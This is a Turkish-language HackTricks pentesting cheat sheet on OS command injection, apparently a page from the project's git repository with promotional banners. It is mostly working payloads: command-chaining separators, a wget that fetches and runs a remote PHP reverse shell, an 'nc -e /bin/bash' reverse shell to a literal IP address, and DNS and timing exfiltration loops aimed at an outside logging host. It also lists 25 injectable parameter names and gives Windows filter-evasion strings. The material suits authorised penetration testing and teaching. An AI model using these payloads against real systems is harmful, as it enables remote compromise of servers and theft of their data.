hacktricks/pentesting-web/command-injection.md
2024-04-06 19:40:41 +00:00

7.2 KiB
Raw Blame History

Command Injection

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!

HackTricks'i desteklemenin diğer yolları:

Trickest kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.
Bugün Erişim Alın:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Komut Enjeksiyonu Nedir?

Bir komut enjeksiyonu, bir saldırganın bir uygulamanın barındırıldığı sunucuda keyfi işletim sistemi komutlarını yürütmesine izin verir. Sonuç olarak, uygulama ve tüm verileri tamamen tehlikeye atılabilir. Bu komutların yürütülmesi genellikle saldırganın uygulamanın ortamı ve alt sistem üzerinde yetkisiz erişim veya kontrol elde etmesine olanak tanır.

Bağlam

Girdinizin nereye enjekte edildiğine bağlı olarak, komutlardan önce alıntılanan bağlamı sonlandırmanız gerekebilir (" veya ').

#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command

Kısıtlama Atlatmaları

Eğer bir Linux makinesi içinde keyfi komutlar çalıştırmaya çalışıyorsanız, bu Atlatmaları hakkında okumak ilginizi çekebilir:

{% content-ref url="../linux-hardening/bypass-bash-restrictions/" %} bypass-bash-restrictions {% endcontent-ref %}

Örnekler

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

Parametreler

İşte kod enjeksiyonuna ve benzeri RCE güvenlik açıklarına karşı savunmasız olabilecek en üst 25 parametre (link):

?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}

Zaman tabanlı veri dışa aktarma

Veri çıkarma: karakter karakter

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

DNS tabanlı veri sızdırma

https://github.com/HoLyVieR/dnsbin adresindeki araca dayanmaktadır ve aynı zamanda dnsbin.zhack.ca adresinde barındırılmaktadır.

1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

Filtreleme Atlatma

Windows

powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc

Linux

{% content-ref url="../linux-hardening/bypass-bash-restrictions/" %} bypass-bash-restrictions {% endcontent-ref %}

Kaba Kuvvet Tespiti Listesi

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}

Referanslar

Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:


Trickest kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.
Bugün Erişim Alın:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}